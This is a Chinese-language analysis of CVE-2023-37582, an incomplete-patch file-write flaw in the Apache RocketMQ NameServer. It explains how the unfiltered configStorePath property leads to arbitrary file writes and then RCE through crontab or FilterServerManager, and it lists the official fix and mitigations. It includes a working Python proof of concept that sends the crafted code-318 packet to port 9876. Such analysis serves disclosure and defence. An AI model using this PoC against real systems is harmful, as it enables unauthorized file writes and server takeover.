Apache RocketMQ NameServer 远程代码执行漏洞(CVE-2023-37582)分析
字数 1410 2025-08-20 18:16:58
Apache RocketMQ NameServer 远程代码执行漏洞(CVE-2023-37582)深度分析
漏洞概述
CVE-2023-37582是Apache RocketMQ NameServer组件中存在的一个远程代码执行漏洞,该漏洞源于对配置文件更新操作的不当处理,导致攻击者能够实现任意文件写入,进而可能升级为远程代码执行。
漏洞背景
此漏洞是之前RocketMQ漏洞修复不完善的结果。阿里云发布的漏洞通告指出,攻击者可以利用此漏洞在受影响系统上执行任意代码。
技术细节分析
漏洞位置
漏洞存在于NameServer组件的配置更新功能中,具体涉及以下关键点:
- 通过RocketMQ自定义协议(code 318)调用NameServer(默认端口9876)的配置更新功能
- 主要问题出在
updateConfig操作的文件路径控制上
漏洞原理
-
配置更新机制:
- NameServer提供了通过RocketMQ协议更新配置的功能
- 攻击者可以发送特定构造的请求来修改配置属性
-
补丁绕过:
- 之前的补丁通过黑名单方式限制了
properties中的某些属性 - 但补丁遗漏了
configStorePath属性,仅过滤了configStorePathName - 攻击者可以利用
configStorePath控制文件写入路径
- 之前的补丁通过黑名单方式限制了
-
文件写入流程:
public void update(Properties properties) { try { readWriteLock.writeLock().lockInterruptibly(); try { mergeIfExist(properties, this.allConfigs); for (Object configObject : configObjectList) { MixAll.properties2Object(properties, configObject); } this.dataVersion.nextVersion(); } finally { readWriteLock.writeLock().unlock(); } } catch (InterruptedException e) { log.error("update lock error, {}", properties); return; } persist(); // 关键点:触发持久化操作 }persist()方法最终调用string2File实现文件写入- 文件路径通过反射获取
storePathObject中的configStorePath值 - 该值完全由攻击者控制且未被过滤
漏洞利用
利用条件
- 能够访问RocketMQ NameServer服务(默认端口9876)
- 未正确应用完整补丁的RocketMQ版本
利用方式
-
任意文件写入:
- 通过构造特定请求控制
configStorePath属性 - 实现向任意路径写入任意内容
- 通过构造特定请求控制
-
远程代码执行:
- 在5.1.1版本之前:结合
FilterServerManager类的心跳机制实现命令执行 - 在5.1.0到5.1.1版本:通过写入crontab等方式获取shell
- 在5.1.1版本之前:结合
PoC示例
import socket
import binascii
client = socket.socket()
client.connect(('127.0.0.1',9876)) # 目标IP和端口
# 构造请求
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='brokerConfigPath=/tmp/aaa/CaSO4.txt\nconfigStorePath=/tmp/aaa/DawnT0wn.txt\naaaConfigPath=123\\nMy name is DawnT0wn'.encode('utf-8')
# 计算长度并构造完整请求
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# 发送攻击载荷
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
影响版本
受影响的具体版本范围未在文中明确说明,但根据上下文可知:
- 5.1.1版本之前存在完整的RCE利用链
- 5.1.0到5.1.1版本仍存在任意文件写入,但删除了
FilterServerManager类
修复方案
-
官方修复:
- 将黑名单从
configStorePathName改为configStorePath - 补丁链接:https://github.com/apache/rocketmq/pull/6843/files
- 将黑名单从
-
临时缓解措施:
- 限制对NameServer端口(默认9876)的访问
- 升级到最新安全版本
参考链接
- 官方补丁:https://github.com/apache/rocketmq/pull/6843/files
- 漏洞详情:https://avd.aliyun.com/detail?id=AVD-2023-37582
总结
CVE-2023-37582展示了即使经过修复的安全问题也可能因修复不彻底而再次成为威胁。该漏洞的核心在于配置文件更新机制中对关键属性控制的缺失,强调了安全修复需要全面考虑所有可能的攻击向量。对于消息队列等关键基础设施组件,应当特别关注其配置管理接口的安全性。